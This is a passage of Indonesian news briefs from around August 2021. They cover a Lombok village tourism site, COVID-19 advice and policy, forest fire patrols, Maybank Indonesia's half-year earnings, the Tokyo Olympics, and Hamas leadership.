keistimewaan lokasi ini warga Desa Gunung Jae kemudian mengubah lokasi galian daratan berlubang menjadi lokasi wisata yang indah. Lokasi yang dulunya adalah tambang pasir seluas 10 hektare tersebut kini menjadi terkenal dan dikunjungi banyak orang. Kepala Desa Sedau Amir Syarifudin mengatakan rata-rata pengunjung yang datang ke tempat itu berkisar antara 50-100 orang per harinya. Umumnya, berasal dari Kota Mataram, Lombok Timur dan Lombok Barat. "Memang untuk wisatawan Nusantara belum ada yang datang. Paling banyak itu warga Kota Mataram dan beberapa kabupaten di Pulau Lombok, bahkan dari Pulau Sumbawa," ujarnya, Sabtu (31/7). Jumlah kunjungan wisatawan paling ramai biasanya pada hari-hari "weekend" yakni Sabtu dan Minggu. Selain berwisata tempat ini juga menjadi lokasi camping ground. Banyak dari wisatawan yang berkemah karena penasaran dengan panorama alam Gunung Jae. Apalagi lokasi Gunung Jae berdekatan dengan kawasan hutan yang masuk dalam bagian kaki Gunung Rinjani. Biasanya, mereka yang berkemah melakukannya pada mulai Sabtu hingga Minggu. "Wisatawan yang akan menginap, kami juga telah menyiapkan fasilitas tenda jika mereka tidak membawa peralatan," terang Amir. Namun, kata Amir, di tengah masa pandemi COVID-19 destinasi wisata ini sepi dikunjungi wisatawan seiring Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) oleh pemerintah. Meski di tengah keterbatasan, pihaknya tetap melakukan strategi dengan mengenalkan paket wisata alam Gunung Jae melalui media sosial Facebook dan Instagram. Melalu flatform media sosial tersebut membantu kedatangan pengunjung selama ini. Apalagi, lokasinya sangat nyaman dan hening dari keramaian atau suasana kota. Karena lokasinya yang dekat dari akses jelan utama provinsi, yakni sekitar tiga kilometer dari tepi jalan raya jurusan Mataram - Pelabuhan Kayangan, Lombok Timur. Destinasi wisata Gunung Jae beroperasi sejak 2019 dan mulai menggeliat sejak 2020. Meski namanya Gunung Jae, tapi menurut Amir, tidak ada gunung bernama itu. Kecuali orang-orang tertentu yang bisa melihat Gunung Jae tersebut. "Kalau dari cerita orang tua dulu, sebutan Gunung Jae berdasarkan kisah zaman dulu bahwa kawasan itu dari kejauhan tampak gunung dan tanaman jahe. Tetapi setelah didekati ternyata tidak ada gunung dan tanaman jahenya. Kita sendiri belum pernah lihat," ungkapnya. Amir mengungkapkan, keunikan wisata alam Gunung Jae juga terlihat di lokasi ini tidak ada wilayah pegunungan. Namun udaranya sangat dingin. Sejauh ini, lanjut dia, ketinggian Gunung Jae hanya sekitar 25 - 30 meter di atas permukaan laut. Areanya seluas 10 hektare meliputi danau, bendungan dan panggung terbuka untuk pentas budaya. Area terbuka di sekitar bendungan seluas empat hektare berlatar belakang bukit di sana bisa dimanfaatkan untuk aktivitas mendayung mengarungi danau. Pengunjung juga bisa berkemah di camping ground sambil memesan paket treking bambu yang melintasi area persawahan. Tak perlu khawatir juga soal makanan. Di Gunung Jae, tersedia lapak-lapak yang menyediakan makanan dan minuman sehingga para pengunjung tidak perlu repot membawa bekal dari rumah. Bagi pengunjung yang hobi memancing, tersedia lokasi pemancingan beserta fasilitasnya. Bahkan ada paket sekolah alam untuk belajar cara menangkap belut menggunakan kodong dan bercocok tanam. Intinya, pihaknya menjual permainan alam yang sudah mentradisi tidak punah begitu saja karena teknologi dewasa ini. Hal ini, agar memori anak-anak untuk tidak lupa dengan tradisi permainan alam masa lalu. Tentunya, ingat permainan alam masa lalu, ingat Gunung Jae. Setiap pekan, kawasan wisata Gunung Jae selalu ramai didatangi pengunjung untuk berkemah. Bahkan ada juga pengunjung yang menghabiskan waktu berkemah hingga sepekan lamanya. Harga sewa kemah cukup murah, yaitu sekitar Rp30 ribu hingga Rp100 ribu. Amir mengatakan pengembangan kawasan wisata Gunung Jae ini berawal dari pelatihan dan diskusi yang diadakan Dinas Pariwisata Lombok Barat beberapa waktu lalu. Hingga tercetus ide untuk mengembangkan kawasan ini menjadi kawasan yang bukan hanya sekedar area perkemahan biasa. Namun memiliki nilai edukasi dan meningkatkan perekonomian warga sekitarnya. Terkait warga yang masih melakukan kegiatan menyedot pasir. Menurut Amir, pihaknya masih memberikan ruang namun lokasinya di relokasi ke sebelah Utara di sekitar kali. Sejak adanya kita buka destinasi ini, Alhamdulillah jumlah warga yang menggantungkan hidup dari tambang pasir sudah berkurang drastis. Paling ada sekarang enggak banyak, bisa di hitung dengan jari. Ini karena warga sudah banyak beralih profesi berjualan, menyewakan perahu dan menjadi penjaga pintu masuk loket. Sementara, warga yang berusia muda kita tampung dan berdayakan mereka di Pokdarwis dibawah koordinasi BUMDes Karya Mandiri Sedau yang kita tunjuk mengelola kawasan ini. Sementara itu, Ketua BUMDes Karya Mandiri Sedau, Usman Jayadi membenarkan keberadaan wisata alam setempat telah merubah paradigma warga sekitar yang sebelumnya berprofesi menyedot pasir, kini telah menjadi penjaga dan pengelola destinasi setempat. "Alhamdulillah, ada sekitar 20 orang anak muda yang kita pekerjakan disini. Meraka adalah karyawan BUMDes dan juga anggota Pokdarwis yang setiap harinya stand by menjaga lokasi ini,” kata Usman. Ia berharap dengan telah mulai banyaknya pengunjung di wilayah setempat. Intervensi dari Pemprov NTB melalui Dinas Pariwisata setempat bisa optimal diberikan. Mengingat, bantuan yang ada baru sebatas alat kebersihan yang diberikan oleh Pemkab Lombok Barat melalui Dinas Pariwisata setempat. Sementara dari bantuan provinsi belum ada. "Kalau dari provinsi belum sama sekali. Makanya, kami butuh perhatian dari provinsi, khususnya bagaimana teknik memasarkan destinasi desa ini menjadi lebih terkenal lagi. Tentunya, kami butuh pelatihan IT bagi para pemuda desa. Sebab, semua dana pengembangan desa wisata Gunung Jae ditopang oleh Dana Desa," katanya. Untuk ke depan pihaknya bersama pihak desa berencana akan menambah fasilitas di tempat itu, seperti membangun pondok-pondok sebagai lokasi penginapan. Kemudian mushalla yang lebih permanen, restoran dan perahu. Termasuk fasilitas untuk meeting room. (sws)

Psikolog: Tiap Orang Perlu Tanamkan Pikiran Positif Saat Situasi COVID

Denpasar, FNN - Staf Sub Bagian Psikologi Instalasi Rehabilitasi Medik RSUP Sanglah, Denpasar Lyly Puspa Palupi mengatakan untuk menjaga kesehatan jiwa setiap orang perlu berusaha menanamkan pikiran positif terutama dalam situasi pandemi COVID-19. "Individu perlu berusaha untuk bersikap dan berpikir positif dalam menghadapi situasi ini. Kondisi sulit ini dialami oleh hampir seluruh masyarakat di berbagai belahan dunia. Mencoba untuk selalu bersyukur untuk hal-hal yang masih dimiliki, misalnya kesehatan, usia yang panjang, pekerjaan, keluarga," kata Lyly saat dikonfirmasi di Denpasar, Bali, Minggu. Ia menjelaskan bahwa tetap menanamkan pikiran positif dalam situasi COVID-19 ini menjadi salah satu cara menghindari munculnya gangguan-gangguan kejiwaan. Dalam situasi pandemi ini, efek psikologis yang paling sering muncul di masyarakat adalah rasa takut dan cemas akan terpapar virus COVID-19. Selain itu, terbatasnya akses dan kebebasan untuk melakukan aktivitas, seperti bekerja, sekolah, bersosialisasi, dan lainnya. "Karena kondisi ini berlangsung cukup lama dan belum bisa diperkirakan kapan akan berakhir, sehingga masyarakat dituntut untuk menyesuaikan diri dengan kondisi. Ada yang bisa beradaptasi tanpa banyak kendala, namun tidak sedikit juga merasa kesulitan. Sehingga, secara psikis mengalami efek seperti masalah kecemasan, stres, hingga depresi," katanya. Selain itu, perlunya memilah dan memilih pemberitaan yang ingin diketahui dan bermanfaat. Yyang perlu dilakukan adalah membatasi dan memilah-milah informasi yang dibaca. "Jika dirasakan sudah tidak nyaman lagi mengikuti berita-berita COVID-19, silahkan jeda sejenak, alihkan perhatian ke hal-hal lain atau informasi yang membuat hati lebih gembira dan positif," katanya. Dikatakannya, situasi yang memerlukan pendampingan psikolog apabila seorang individu mulai merasa terganggu fungsinya sehari-harinya. Salah satunya, mengganggu pekerjaan, proses belajar, dan merasa tidak ada pihak yang bisa memberikan dukungan dan membantu masalah yang dihadapi. (mth)

Ketua DPD RI: Pengelolaan Limbah Medis COVID-19 Harus Maksimal

Madiun, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti meminta penanganan limbah medis COVID-19 di Tanah Air harus dilakukan dengan maksimal agar tidak menimbulkan masalah kesehatan dan dampak bagi lingkungan. Menurutnya, limbah medis atau infeksius penanganan COVID-19 yang termasuk B3 (Bahan Berbahaya dan Beracun), akan menjadi sumber penularan baru COVID-19 jika tidak dikelola dengan baik. Ia menilai penanganan limbah medis COVID-19 masih belum maksimal. "Penanganan limbah medis COVID-19 tidak boleh dianggap sepele. Harus dikerjakan cepat, aman, dan efisien sebagai bagian penting dari upaya mengurangi penyebaran COVID-19 dan penyakit lainnya," ujar LaNyalla di sela masa reses di Madiun, Jawa Timur, Minggu. Berdasarkan catatan pemerintah, terdapat sekitar 18.460 ton limbah medis per 27 Juli 2021. Limbah tersebut berasal dari fasilitas pelayanan kesehatan mulai dari rumah sakit, puskesmas, RS darurat COVID-19, wisma isolasi, tempat karantina mandiri, hingga uji deteksi, maupun vaksinasi. Limbah itu antara lain berupa pakaian medis, sarung tangan, "face shield", baju hazmat, alat pelindung diri, infus bekas, masker, botol vaksin, jarum suntik, alat PCR, antigen, dan alkohol pembersih swab. "Saya dengar pemerintah menyiapkan dana Rp1,3 triliun untuk pengelolaan limbah B3 medis tersebut. Dengan dana sebesar itu penanganannya harus lebih sistematis dan tepat," lanjutnya. Pada masa pandemi, produksi limbah medis mencapai sebanyak 383 ton per hari. Sampai saat ini, baru 4,1 persen rumah sakit di Indonesia yang memiliki fasilitas pembakaran limbah medis B3 atau insinerator yang berizin. Sementara itu ada 20 pelaku usaha pengelolaan limbah di seluruh Indonesia, tetapi hampir semuanya di pulau Jawa. Oleh karena itu, LaNyalla menginginkan supaya instrumen untuk pengelolaan limbah medis merata di semua daerah. "Segera dibangun alat-alat pemusnah limbah B3 medis di tiap kota atau kabupaten, minimal provinsi. Apakah memakai insinerator atau alat lain itu terserah pada Kementerian Lingkungan Hidup," kata Senator asal Jawa Timur itu. Selain dimusnahkan, LaNyalla mengusulkan, limbah medis yang berpotensi untuk didaur ulang sebaiknya didaur ulang menjadi produk baru. Tetapi tetap harus memperhatikan faktor keamanan dan dan kesehatan. "Kalau memungkinkan didaur ulang, kenapa tidak. Justru lebih bagus, karena nantinya akan menambah nilai ekonomi," terang Mantan ketua Umum PSSI itu. LaNyalla juga mengingatkan kepada masyarakat untuk berhati-hati membuang alat medis yang telah digunakan. Hal itu agar tidak membahayakan orang lain. "Lebih baik limbah dari kita seperti masker langsung dibakar saja dari pada dibuang ke tempat sampah," katanya. (mth)

BPBD Sumsel Tingkatkan Patroli Cegah Bencana Asap

Palembang, FNN - Petugas BPBD Sumatera Selatan didukung satgas gabungan penanggulangan kebakaran hutan dan lahan dalam beberapa pekan terakhir berupaya meningkatkan patroli untuk mencegah terjadinya karhutla yang dapat menyebabkan bencana kabut asap. "Untuk mencegah terjadinya karhutla besar yang berpotensi mengakibatkan bencana kabut asap pada musim kemarau 2021, kegiatan patroli darat dan udara pada Agustus ini lebih ditingkatkan lagi," kata Kepala Badan Penanggulangan Bencana Daerah (BPBD) Sumsel, Iriansyah di Palembang, Minggu. Menurut dia, dalam beberapa hari terakhir di sejumlah daerah rawan karhutla mulai terjadi kebakaran, namun bisa diatasi sehingga tidak mengakibatkan bencana kabut asap, berkat kesiapsiagaan petugas BPBD bersama satgas gabungan. Melihat kondisi tersebut, pihaknya berupaya meningkatkan patroli untuk mengecek kondisi kawasan hutan dan lahan, jika ada kebakaran dapat dilakukan tindakan cepat dan tepat, sehingga tidak meluas menjadi kebakaran besar yang dapat menimbulkan kerusakan lingkungan serta gangguan kesehatan dan aktivitas masyarakat. Sejumlah daerah yang menjadi sasaran patroli seperti kawasan hutan dan lahan yang rawan karhutla di wilayah Kabupaten Ogan Ilir, Ogan Komering Ilir, Kabupaten Banyuasin, dan Musi Banyuasin, katanya. Dia menjelaskan, untuk melakukan patroli udara, pihaknya didukung lima unit helikopter pembom air (waterbombing) yang memiliki kemampuan membawa 5.000 liter air. Tim patroli udara itu melakukan pembasahan lahan pada kawasan yang terdeteksi banyak titik panas (hotspot) dan berupaya melakukan pemadaman api jika melihat ada lahan perkebunan atau kawasan hutan yang terbakar. Kegiatan pencegahan lebih diutamakan untuk mengantisipasi terjadinya karhutla yang besar dan bisa mengganggu berbagai aktivitas dan kesehatan masyarakat. Melalui upaya tersebut diharapkan wilayah Sumsel yang memiliki kawasan hutan, lahan gambut , dan perkebunan yang cukup luas bisa terhindar dari kebakaran besar dampak musim kemarau tahun ini, ujar Iriansyah. (mth)

Maybank Indonesia Raup Laba Bersih Rp510 Miliar pada Semester I 2021

Jakarta, FNN - PT Bank Maybank Indonesia Tbk meraup laba bersih Rp510 miliar pada semester I 2021, turun 37 persen dibandingkan periode yang sama tahun sebelumnya Rp810 miliar Presiden Direktur Maybank Indonesia Taswin Zakaria, mengatakan, penurunan laba tersebut disebabkan oleh dampak pandemi COVID-19 yang berkelanjutan sejak kuartal pertama 2020. "Kondisi pandemi saat ini cukup memprihatinkan, di mana data pemerintah menunjukkan telah terjadi peningkatan kasus positif COVID-19 di akhir kuartal kedua 2021. Hal ini telah berdampak pada sejumlah aktivitas masyarakat dan bisnis, termasuk sektor keuangan," ujar Taswin dalam keterangan di Jakarta, Minggu. Meski demikian, ia menilai kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) dan akselerasi program vaksinasi oleh pemerintah, dapat menumbuhkan kepercayaan pasar terkait pemulihan ekonomi secara bertahap.” Perseroan pun akan tetap disiplin dalam mengelola pertumbuhan bisnis bank dan senantiasa menerapkan manajemen risiko yang konservatif di tengah kondisi yang menantang saat ini. "Kami akan terus berinovasi dalam menyediakan berbagai produk dan solusi keuangan yang relevan bagi nasabah di tengah pandemi yang sejalan dengan misi Bank, Humanising Financial Services. Dengan permodalan yang kuat dan likuiditas yang memadai, kami siap menyambut peluang pertumbuhan, seiring dengan pemulihan ekonomi," kata Taswin. Presiden Komisaris Maybank Indonesia Datuk Abdul Farid Alias mengatakan, pihaknya melihat dampak pandemi COVID-19 masih terus berlanjut. Namun, ia tetap optimis bahwa kondisi yang menantang dan tidak pasti saat ini dapat diatasi pada waktunya. "Kami yakin dengan menerapkan prinsip kehati-hatian terkait pengelolaan aset dan likuiditas, didukung manajemen risiko yang kuat, bank dapat mengatasi tantangan saat ini. Kami percaya terhadap prospek pertumbuhan ekonomi di Indonesia dan senantiasa aktif dalam menyediakan layanan perbankan yang lebih baik kepada nasabah," ujar Abdul. Net Interest Income (NII) atau Pendapatan Bunga Bersih turun 12,1 persen menjadi Rp3,5 triliun seiring dengan penurunan penyaluran kredit dan imbal hasil (yield) kredit. Hal itu sejalan dengan penurunan suku bunga acuan Bank Indonesia dan dampak proses restrukturisasi kredit yang sedang berlangsung bagi nasabah yang terdampak pandemi. Net Interest Margin (NIM), atau Marjin Bunga Bersih turun 54 basis poin menjadi 4,47 persen pada Juni 2021, dibandingkan 5,01 persen pada periode yang sama tahun lalu. Namun, NIM meningkat 12 basis poin dibandingkan kuartal pertama 2021 yang tercatat sebesar 4,35 persen, didukung oleh biaya bunga yang membaik. Pendapatan jasa atau fee based income perseroan turun 19,6 persen menjadi Rp952 miliar di semester pertama 2021, akibat menurunnya pendapatan fee dari transaksi pasar global, namun fee terkait bancassurance bertumbuh 79 persen menjadi Rp106 miliar. Secara kuartalan, pendapatan fee tumbuh 10 persen menjadi Rp498 miliar pada kuartal kedua 2021 dari Rp453 miliar pada kuartal pertama 2021. Turunnya pendapatan bunga kredit dan pendapatan jasa akibat pandemi yang masih berlangsung dapat diimbangi oleh berbagai upaya bank, diantaranya menekan biaya provisi, biaya kredit dan biaya overhead. Dalam beberapa tahun terakhir, bank secara proaktif mengambil langkah konservatif untuk mencadangkan provisi pada portofolio di seluruh segmen bisnis, khususnya di tengah kondisi yang menantang. Langkah itu memberikan kontribusi pada penurunan biaya provisi bank sebesar 21,6 persen menjadi Rp763 miliar dari Rp1,01 triliun. Selain itu, bank terus memantau dan mendampingi nasabah yang sedang menghadapi tantangan. Bank juga mempertahankan risk posture pada tingkat yang memadai untuk menjaga kualitas asetnya, sehingga bank dapat mencatat rasio kredit bermasalah atau NPL (konsolidasian) yang membaik menjadi 4,4 persen (gross) pada Juni 2021 dibandingkan 5 persen (gross) pada periode yang sama tahun lalu. Bank berhasil mengendalikan biaya overhead, yang tercatat turun 6,1 persen menjadi Rp2,9 triliun, didukung oleh upaya berkelanjutan terhadap pengelolaan biaya di seluruh organisasi, termasuk penerapan bekerja dari rumah atay work from home selama pandemi. Seiring dengan kondisi pasar saat ini, di mana industri perbankan menghadapi perlambatan dalam pertumbuhan kredit, total kredit Maybank Indonesia juga turun 14,6 persen menjadi Rp98,8 triliun di tengah upaya Bank memitigasi risiko kredit selama masa pandemi. Kredit Community Financial Services (CFS) turun 17,5 persen disebabkan oleh penurunan kredit CFS Non-Ritel sebesar 22,3 persen dan penurunan kredit CFS-Ritel sebesar 12 persen. Kredit Global Banking (GB) juga turun 8,2 persen. Namun, penyaluran Kredit Pemilikan Rumah (KPR) masih bertumbuh positif sebesar 1,2 persen pada semester pertama 2021 menjadi Rp14,4 triliun dari Rp14,2 triliun pada periode yang sama tahun lalu. Secara kuartalan, KPR tumbuh 2,5 persen dari Rp14,1 triliun di kuartal pertama 2021. Total simpanan nasabah meningkat 1,6 persen menjadi Rp107,4 triliun pada semester pertama 2021. Bank menerapkan berbagai strategi untuk mempertahankan likuiditas yang kuat dan basis pendanaan yang efisien dengan meningkatkan dana murah dan mengurangi dana berbiaya tinggi. Strategi tersebut berkontribusi pada peningkatan dana murah atau CASA, yang bertumbuh 6,4 persen menjadi Rp45,1 triliun. Rasio CASA juga naik menjadi 41,9 persen pada Juni 2021 dibandingkan 40 persen pada Juni 2020. (mth)

Puncak Gelombang Tinggi di Pantai Selatan Gunung Kidul Tidak Terjadi

Gunung Kidul, FNN - Koordinator SAR Satlinmas WIlayah II Gunung Kidul Daerah Istimewa Jogjakarta Marjono mengatakan puncak gelombang tinggi Samudra Hindia di sepanjang pantai selatan, kabupaten setempat tidak terjadi sesuai prediksi yang mencapai enam meter, sehingga tidak menimbulkan kerusakan di wilayah ini. "Dari prediksi, hari ini merupakan puncak terjadinya gelombang tinggi. Namun dari pengamatan gelombang yang mencapai 20 feet terjadi di tengah. Sehingga tidak sempat ke kawasan pantai dan hanya beberapa kali menyapu pantai namun tidak menyebabkan kerusakan," kata Marjono di Gunung Kidul, Minggu. Ia mengatakan kejadian gelombang tinggi biasa terjadi setiap tahun memasuki Agustus. Dari hasil pengamatan di lapangan, puncak gelombang mengalami surut. Gelombang tinggi justru terjadi pada Jumat (30/7), yang menyebabkan kerusakan warung yang ada di kawasan Pantai Drini. Ada tiga warung milik warga yang rusak. Selain lantai gazebo, ada pula bangunan warung yang lantai dan dindingnya jebol terhantam gelombang hingga terbawa arus. Adapun sebagian besar bangunan terbuat dari material tripleks. Selain itu, pasir laut masuk ke warung. Selain itu, tidak ada korban jiwa saat terjadi gelombang tinggi kemarin. Pihaknya juga sudah memberitahukan kepada pengelola wisata ataupun pemilik warung hingga nelayan terkait potensi gelombang tinggi sepekan yang lalu. Nelayan sudah mengamankan perahunya ke kawasan yang lebih aman. "Nelayan sudah mengamankan perahunya, dan tidak ada aktifitas sama sekali. Hari ini tidak ada kerusakan, hanya Jumat (30/7) di Pantai Drini," kata dia. Sementara itu, Koordinator SAR Satlinmas Wilayah I Gunung Kidul Sunu Handoko mengatakan tinggi gelombang mencapai 4 sampai 6 meter pada Jumat (30/7) menyebabkan beberapa bangunan rusak di Pantai Jungwok, Kecamatan Girisubo. Berdasarkan laporan petugas di lapangan, ada tiga bangunan warung yang rusak di Pantai Jungwok. "Gelombang tinggi ini tidak ada korban jiwa, karena penutupan kawasan wisata praktis tidak ada aktivitas di kawasan pantai. Selain itu, informasi mengenai gelombang tinggi sudah disampaikan ke nelayan, dan masyarakat. Nelayan sudah mengevakuasi kapal," kata Sunu. (mth)

Ginting Berharap Menangi Mendali Perunggu Dari Olimpiade Perdana

Jakarta, FNN - Pebulu tangkis Anthony Sinisuka Ginting menuturkan harapannya supaya bisa membawa pulang medali perunggu bagi Indonesia dari Olimpiade perdananya di Tokyo. Pernyataan itu ia sampaikan setelah gagal melaju ke babak final setelah dikalahkan pebulu tangkis asal China, Chen Long, pada babak empat besar tunggal putra Olimpiade Tokyo, Ahad, 1 Agustus 2021. "Ini (medali) akan sangat berarti bagi saya. Ini Olimpiade pertama saya, dan saya sudah berusaha keras. Mencapai tahap ini (semifinal) adalah mimpi yang jadi kenyataan, karenanya saya tidak mau menyia-nyiakan kesempatan ini," kata Ginting lewat informasi resmi BWF di laman resminya. Lawan yang dihadapi Ginting pada babak semifinal merupakan atlet yang kenyang asam garam. Dari pengalamannya yang lebih panjang, Chen Long sudah mengoleksi dua medali Olimpiade. Medali pertamanya adalah perunggu yang didapat di London 2012. Baru di Rio 2016, Chen Long menyabet medali emas. Ginting mengaku kesulitan bermain melawan Chen Long. Dalam pertandingan selama 56 menit itu, Ginting yang sudah bermain maksimal tetap tidak bisa mendobrak dominasi lawannya. "Saya lihat permainannya hari ini berbeda dari pertemuan kami sebelumnya. Dia tidak sering angkat bola, itulah sebabnya dia bisa mengendalikan permainan dari awal sampai selesai. Dia juga tidak membuat kesalahan, dia pemain yang sangat fokus," ujar Ginting soal permainan Chen Long. Meski menelan kekecewaan, namun peraih medali perak Asian Games 2018 ini masih bersikukuh untuk menggondol medali perunggu dari Olimpiade Tokyo. Sebagamana dikutip dari Antara. pada pertandingan penentuan hari Senin pukul 18.00 WIB, ia akan menghadapi pebulu tangkis Guatamela, Kevin Cordon. "Saya kecewa dengan permainan tadi karena tidak mudah sampai sini (semifinal), tapi ya mau bagaimana lagi. Pasti ada pemenang dan yang kalah, tapi saya harus bangkit secepat mungkin karena besok ada satu pertandingan penting lainnya," Ginting menuturkan. Setelah ini Ginting akan fokus untuk beristirahat dan berharap staminanya bisa pulih untuk laga penentuan besok. (MD).

Polda Maluku Tempatkan Personel di Zona Merah COVID-19 Terapkan PPKM

Ternate, FNN - Kepolisian Daerah (Polda) Maluku Utara (Malut) akan menempatkan personelnya di kawasan zona merah COVID-19 yang harus menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro dan intensif melaksanakan patroli skala besar menindaklanjuti Instruksi Mendagri. "Di wilayah Kota Ternate sendiri, masih terdapat zona merah ditingkat PPKM Mikro skala kelurahan, yakni Kelurahan Kalumata, Kalumpang dan Siko, Sementara itu zona orange masih 43 kelurahan dan kuning 12 kelurahan dari 78 kelurahan yang ada, yang akan Ternate akan terus dikontrol terutama dalam berdisiplin menerapkan protokol kesehatan," kata Karo Ops Polda Malut, Kombes Pol Juwari di Ternate, Minggu. Karo Ops menyatakan, hal tersebut menindaklanjuti perintah Kapolda Maluku Utara terkait implementasi Inmendagri Nomor 25 dan 26 Tahun 2021, akan dibangun Posko di pasar-pasar yang ada di Ternate, yakni Posko Pasar Higienis, Pasar Gamalama, Pasar Kota Baru dan Bastiong. Dia mengatakan, bahwa ini merupakan antisipasi penyebaran COVID-19 yang ada di Malut umumnya dan di Ternate dalam hal ini membantu Polres Ternate. "Dari tiga zona merah ini harus terus dikontrol terkait penerapan protokol kesehatannya disamping pembagian bansos dan masker," ujarnya. Adapun tugas dari Posko tersebut untuk menyaring dan membatasi jumlah pengunjung yang berada dalam pasar serta melakukan giat patroli dan penertiban Protokol Kesehatan didalam dan diarea sekitar Pasar yang menjadi pusat keramaian. Polda Maluku Utara terus berupaya dalam rangka pencegahan dan penanganan COVID-19, berkaitan dengan dikeluarkannya Instruksi Menteri Dalam Negeri RI Nomor 25 dan 26 Tahun 2021 tentang Penerapan PPKM Level 4 sampai dengan Level 1. Oleh karenanya, Polda Malut mengerahkan Satgas yang tergabung dalam Ops Aman Nusa II untuk melaksanakan Patroli Skala besar di Kota Ternate. Sementara itu, Kabidhumas Polda Malut, Kombes Pol Adip Rojikan, yang hadir dalam apel pengarahan Patroli Skala Besar tersebut menambahkan, berbagai upaya telah dan akan terus dilakukan oleh jajaran kepolisian dalam upaya menekan angka penyebaran COVID-19. "Semoga dengan Patroli dan upaya lain yang akan kita laksanakan dapat berjalan lancar serta dapat dipatuhi oleh seluruh masyarakat untuk kebaikan kita bersama," ujarnya. (mth)

Haniyeh Terpilih Kembali sebagai Ketua Hamas

Gaza, FNN - Ismail Haniyeh telah terpilih untuk masa jabatan kedua sebagai kepala Hamas, kelompok Islam Palestina yang menguasai Jalur Gaza, dua pejabat Palestina mengatakan kepada Reuters, Minggu. "Saudara Ismail Haniyeh terpilih kembali sebagai kepala kantor politik gerakan untuk kedua kalinya," kata seorang pejabat kepada Reuters. Masa jabatannya akan berlangsung selama empat tahun. Haniyeh, pemimpin kelompok itu sejak 2017, telah mengendalikan kegiatan politiknya selama beberapa konfrontasi bersenjata dengan Israel - termasuk konflik 11 hari pada bulan Mei yang menewaskan lebih dari 250 orang di Gaza dan 13 orang di Israel. Dia adalah tangan kanan pendiri Hamas Sheikh Ahmed Yassin di Gaza, sebelum ulama berkursi roda itu dibunuh pada 2004. Haniyeh, 58, memimpin masuknya Hamas ke dalam politik pada 2006, ketika mereka secara mengejutkan menjadi pemenang dalam pemilihan parlemen Palestina, mengalahkan partai Fatah yang terpecah yang dipimpin oleh Presiden Mahmoud Abbas. Haniyeh menjadi perdana menteri tak lama setelah kemenangan Januari 2006, tetapi Hamas - yang dianggap sebagai organisasi teroris oleh Amerika Serikat, Israel dan Uni Eropa - dijauhi oleh masyarakat internasional. Setelah perang saudara yang singkat, Hamas merebut Gaza dari Otoritas Palestina yang didominasi Fatah, yang memiliki pemerintahan sendiri yang terbatas di Tepi Barat yang diduduki Israel, pada 2007. Israel telah menerapkan blokade Gaza sejak itu, dengan alasan ancaman dari Hamas. (mth)

Kapolri, 17 Agustus Vaksinasi Mencapai 70 Persen

Jakarta, FNN - Kapolri Jenderal Listyo Sigit Prabowo menyiapkan strategi untuk mencapai target 70 persen pelaksanaan vaksinasi massal sebagai hadiah Hari Kemerdekaan Republik Indonesia (RI) pada 17 Agustus 2021. "Kami laksanakan 'vicon' (video konferensi) dengan para Kapolda, pada tanggal 17 Agustus nanti Insya Allah kami dibantu dengan kerja sama rekan-rekan baik pemda, TNI serta seluruh relawan akan mampu capai target 70 persen untuk vaksin bersama," kata Sigit dalam peluncuran Vaksinasi Merdeka, di Polda Metro Jaya, Ahad, 1 Agustus 2021, Menurut Sigit, guna mencapai target 70 persen vaksinasi tersebut diperlukan pengorganisasian dan strategi yang baik. Di antaranya, adalah seperti yang dilaksanakan di Jakarta yakni melakukan 'Gerakan Vaksinasi Merdeka'. "Perlu ada pengorganisasian yang bagus kemudian strategi yang bagus. Tadi setelah dipaparkan, kami kemudian jadi jelas bahwa target ini bisa tercapai," ujar Sigit sebagaimana dikutip dari Antara. Selain gerakan vaksinasi massal, kata Sigit, dalam percepatan pembentukan herd immunity atau kekebalan komunal masyarakat dalam menghadapi pandemi COVID-19, pihak kepolisian juga telah membuka gerai-gerai vaksinasi. Gerakan Vaksinasi Merdeka khusus di Jakarta akan diselenggarakan di 668 titik. Tersebar di 900 rukun warga (RW), melibatkan 4.500 relawan yang terdiri atas 1.800 orang tenaga medis, dokter pelaksana screening, dan vaksinator, serta didukung 2.700 orang non tenaga medis, observator dan input administrasi. Setiap relawan akan mendapatkan penggantian ongkos transportasi melalui aplikasi Gojek dan insentif. Target yang akan dicapai yaitu 200 suntikan per-RW per hari mulai dari 1 Agustus. Diharapkan dapat mencapai 3.060.000 suntikan pada saat hari Kemerdekaan RI ke-76 tanggal 17 Agustus nanti. Selain di Jakarta, Sigit berharap, strategi serupa juga digelar di wilayah lainnya, sehingga target herd immunity bisa terealisasi. "Oleh karena itu, pada kesempatan ini saya serukan bagi rekan-rekan yang akan bergabung untuk ikut sama-sama dalam kegiatan vaksinasi. Saya persilakan demikian juga di tempat-tempat lain. Sehingga target pemerintah untuk segera percepat herd immunity, di Jakarta harapannya 17 Agustus," kata Sigit. Dengan segeranya terwujud target percepatan vaksinasi, menurut Sigit, itu akan mempengaruhi pertumbuhan perekonomian masyarakat. Mengingat, kesehatan menjadi prioritas sehingga dapat menggerakan aktivitas ekonomi warga di tengah pandemi COVID-19. "Karena dua hal ini tidak bisa dipisahkan. Namun, kesehatan tentunya jadi salah satu faktor atau syarat mutlak. Sehingga seluruh aktivitas kegiatan masyarakat bisa berjalan," ucap Sigit. (MD).

Bandara Jambi Wajibkan Penumpang Unduh Aplikasi Peduli Lindungi

Jambi, FNN - Saat ini penumpang yang akan melakukan penerbangan melalui Bandara Sultan Thaha diwajibkan untuk mengunduh Aplikasi Peduli Lindungi di smartphone. EGM Bandara Sultan Thaha Jambi, Agus Supriyanto, di Jambi , Minggu mengatakan, hal ini diwajibkan untuk menghentikan penyebaran COVID-19. Dalam aplikasi peduli lindungi tersimpan dokumen pendukung penerbangan diantaranya sertifikat vaksin dan hasil test PCR atau rapid tes antigen. "Dengan punya aplikasi ini keuntungannya dokumen tidak lagi berpindah tangan saat dilakukan validasi, aman dari terpapar Virus COVID-19, keabsahan dokumen 100 persen asli, cepat proses validasinya dan tidak perlu antri,” kata Agus. Dijelaskan Agus, penumpang cukup menunjukkan QR-Code yang ada di aplikasi peduli lindungi. Caranya dengan membuka aplikasi, pilih paspor digital, pilih hasil tes COVID-19, selanjutnya akan keluar QR-Code. Kemudian penumpang melakukan scan QR-Code untuk validasi dokumen. "Hasil RT PCR ataupun rapid antigen akan terdeteksi di aplikasi peduli lindungi pastinya di laboratorium fasilitas pelayanan kesehatan milik pemerintah, pemerintah Daerah, dan swasta yang telah ter-verifikasi sebagai laboratorium fasilitas 